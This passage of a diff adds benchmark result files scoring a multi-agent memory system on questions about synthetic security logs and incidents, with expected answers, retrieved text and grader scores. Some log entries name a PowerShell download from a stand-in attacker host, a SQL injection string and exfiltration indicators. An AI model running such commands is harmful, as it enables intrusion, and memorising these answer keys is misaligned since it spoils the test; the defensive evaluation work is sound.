"count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). | [LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). | [LEARN_CONTENT turn=2] Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). | [LEARN_CONTENT turn=3] Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). | [LEARN_CONTENT turn=4] Security log [2024-03-15 14:23:15]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "score": 0.5, + "reasoning": "The agent correctly identified 5 failed SSH login attempts from IP 192.168.1.45 (3 as admin, 2 as root) based on the logs shown. However, the expected answer indicates there should be 6 failed logins total (3 as admin, 3 as root), plus mention of a successful login afterward. The agent is missing one failed root login and does not mention the successful login that followed. This represents significant gaps in the complete answer.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium)." + }, + { + "content": "[LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high)." + }, + { + "content": "[LEARN_CONTENT turn=2] Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium)." + } + ], + "elapsed_s": 17.73 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.06 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "[LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked. | [LEARN_CONTENT turn=62] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=65] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45.", + "score": 1.0, + "reasoning": "The agent's answer correctly identifies all 7 ports that were scanned by 10.0.0.50: ports 22, 80, 443, 3306, 5432, 8080, and 8443. This is an L1 (Recall) question requiring direct factual accuracy, and the agent has extracted and presented the exact information from the security logs. The additional context provided (showing the source logs) demonstrates the agent found the relevant information, though only the port list itself is needed for grading. Perfect match with expected answer.", + "result_count": 6, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443." + }, + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked." + } + ], + "elapsed_s": 10.64 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "score": 1.0, + "reasoning": "The agent's answer contains all three key data exfiltration indicators from the expected answer: (1) 2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, (2) anomalous DNS query to data.exfil.evil.com, and (3) C2 connection confirmed to 185.220.101.45. While the agent provides additional context from multiple security logs and an incident report, all the essential factual elements are present and accurate. The format differs (showing source logs vs. a summarized list), but the content is semantically equivalent and demonstrates proper recall of the relevant facts.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com." + }, + { + "content": "[LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys." + } + ], + "elapsed_s": 9.79 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "[LEARN_CONTENT turn=7] Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical). | [LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=9] Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1. | [LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. | [LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150.", + "score": 0.0, + "reasoning": "The agent's answer lists multiple security events (privilege escalation, port scan, SQL injection, WAF block, RDP brute force) but none of them are the phishing attempt mentioned in the expected answer. The expected answer specifically asks for a phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com. The agent's response contains no information about any phishing attempt, making it completely unrelated to the question asked.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=7] Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical)." + }, + { + "content": "[LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443." + }, + { + "content": "[LEARN_CONTENT turn=9] Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1." + } + ], + "elapsed_s": 8.71 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. | [LEARN_CONTENT turn=23] Security log [2024-03-16 13:00:00]: Suspicious PowerShell execution from 10.0.0.9 (user: workstation\\user1, severity: high). command: Invoke-WebRequest -Uri http://evil.com/shell.ps1. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil.", + "score": 0.3, + "reasoning": "The agent provided raw security log data showing a data exfiltration event (2.3GB transferred from svc_backup account), but failed to answer the question properly. The expected answer requires: (1) incident ID (INC-2024-002), (2) clear statement that it involved data exfiltration via compromised svc_backup, and (3) number of affected customers (15,000). The agent only provided unstructured log entries without synthesizing them into an answer, missing the incident ID entirely and the critical customer impact number. This is L1 recall that requires factual accuracy on all key elements.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com." + }, + { + "content": "[LEARN_CONTENT turn=23] Security log [2024-03-16 13:00:00]: Suspicious PowerShell execution from 10.0.0.9 (user: workstation\\user1, severity: high). command: Invoke-WebRequest -Uri http://evil.com/shell.ps1." + } + ], + "elapsed_s": 11.8 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=33] Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. | [LEARN_CONTENT turn=38] Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation. | [LEARN_CONTENT turn=45] Incident update INC-2024-004: Status changed from investigating to contained. Detail: S3 access logs show no customer data accessed; key only listed buckets.", + "score": 0.7, + "reasoning": "The agent correctly identified that the key was immediately revoked, CloudTrail audit was performed, the key was used 3 times before revocation, and no customer data was accessed (only listed buckets). However, the agent's answer is missing a critical remediation step from the expected answer: the deployment of git-secrets hook to all repos with mandatory pre-commit scanning. This is a significant preventive measure that should have been included in the resolution. The core incident response steps are covered, but the forward-looking prevention component is absent.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100." + }, + { + "content": "[LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys." + }, + { + "content": "[LEARN_CONTENT turn=33] Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage." + } + ], + "elapsed_s": 9.01 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. | [LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. | [LEARN_CONTENT turn=33] Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage.", + "score": 0.0, + "reasoning": "The agent's answer provides timelines for multiple incidents (INC-2024-001 through INC-2024-004), but none of these match the expected answer about INC-2024-006, which was an insider threat incident involving a DLP alert, bulk download of 500+ sensitive documents, and a resigned employee. The agent described a ransomware attempt, data exfiltration, APT campaign, and cloud credential exposure - all completely different incidents with different incident numbers. This is factually incorrect and unrelated to the question asked.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100." + }, + { + "content": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network." + }, + { + "content": "[LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled." + } + ], + "elapsed_s": 10.22 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_v4.json b/experiments/hive_mind/eval_security_results_v4.json new file mode 100644 index 000000000..8d23ba199 --- /dev/null +++ b/experiments/hive_mind/eval_security_results_v4.json @@ -0,0 +1,208 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.077, + "elapsed_s": 102.64, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 20.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.143, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.0, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. | [LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. | [LEARN_CONTENT turn=34] Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only.", + "score": 0.0, + "reasoning": "The agent's answer discusses completely different security incidents (WAF blocks, RDP brute force from 192.168.2.10, APT campaigns) but does not address the question about the brute force attack pattern from 192.168.1.45. The expected answer describes a specific SSH brute force pattern with failed logins, successful login, and privilege escalation from IP 192.168.1.45. The agent's response contains no information about this IP address or the described SSH attack pattern. This is unrelated content receiving the minimum score.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100." + }, + { + "content": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150." + }, + { + "content": "[LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil." + } + ], + "elapsed_s": 13.73 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "[LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked. | [LEARN_CONTENT turn=62] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=65] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45.", + "score": 1.0, + "reasoning": "The agent's answer correctly identifies all 7 ports scanned by 10.0.0.50: ports 22, 80, 443, 3306, 5432, 8080, and 8443. This is an L1 (Recall) question requiring direct factual accuracy, and the agent extracted the exact information from the security logs shown in the learned content. The answer matches the expected answer perfectly.", + "result_count": 6, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443." + }, + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked." + } + ], + "elapsed_s": 20.08 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 1.33 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 10.17 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 0.76 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 11.76 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "Agent identity: agent-20. Role: You are a distributed hive mind agent. You are agent 20. [general]", + "score": 0.0, + "reasoning": "The agent's answer only contains meta-information about its identity and role, but provides no actual answer to the question about the status of INC-2024-001. It fails to mention that the incident is closed or any of the relevant details (ransomware containment, file restoration, C2 blocking, MFA enforcement).", + "result_count": 1, + "top_results": [ + { + "content": "Agent identity: agent-20. Role: You are a distributed hive mind agent. You are agent 20.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_a9ccab364c00", + "source": "agent-20" + } + ], + "elapsed_s": 4.73 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 6.59 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 2.12 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 9.69 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 0.82 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + 